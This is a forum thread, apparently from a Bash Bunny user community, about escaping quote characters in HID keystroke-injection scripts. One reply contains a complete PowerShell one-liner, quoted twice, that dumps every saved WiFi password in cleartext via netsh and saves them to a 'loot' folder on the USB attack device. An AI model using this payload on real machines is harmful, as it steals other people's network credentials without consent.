Jump to content

Violation of CoC


illwill
 Share

Recommended Posts

ok now im pulling my hair out!

I cant get this to work! I found your thread when searching for how to escape special char, but it seem to not work for me. copying your code

Q STRING \$Bunny \= \(gwmi win32_volume -f \'label\=\'\'BashBunny\'\'\' \|  Select-Object -ExpandProperty DriveLetter\)

in my bunny outputs this to notepad

$Bunny = (gwmi win32_volume -f <label=<<BashBunny<<< ~ Select-Object -ExpandProperty DriveLetter)

 

with the code I was working on before finding your post

this

STRING '$a = Get-WmiObject -Class Win32_Volume -Filter "Label='BashBunny'" | select -expand Name'

outputs

$a = Get-WmiObject -Class Win32_Volume -Filter @Label=BashBunny@ ~ select -expand Name

this is what made me realize that i needed to escape them

and in that your code does not work explains why most things that use hid don't seem to work for me..... 

and... I have no idea why....

 

Link to comment
Share on other sites

  • 3 weeks later...

this is old, but..

 

does the following work for you?

$'$Bunny = (gwmi win32_volume -f \'label=\'\'BashBunny\'\'\' |  Select-Object -ExpandProperty DriveLetter)
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}  | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-File $Bunny\loot\WiFiCreds\WiFi.txt'

Dollar qoutes $' ' for this purpose should work, only \ escaping your ' characters.

>echo $'isn\'t this easier?'
>isn't this easier?

 

Link to comment
Share on other sites

4 minutes ago, DataHead said:

this is old, but..

 

does the following work for you?

$'$Bunny = (gwmi win32_volume -f \'label=\'\'BashBunny\'\'\' |  Select-Object -ExpandProperty DriveLetter)
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}  | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-File $Bunny\loot\WiFiCreds\WiFi.txt'

Dollar qoutes $' ' for this purpose should work, only \ escaping your ' characters.

>echo $'isn\'t this easier?'
>isn't this easier?

 

not sure if you mean me, but after doing a factory reset mine started working normally, not sure what was screwed up with it the first time

Edited by jjd
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...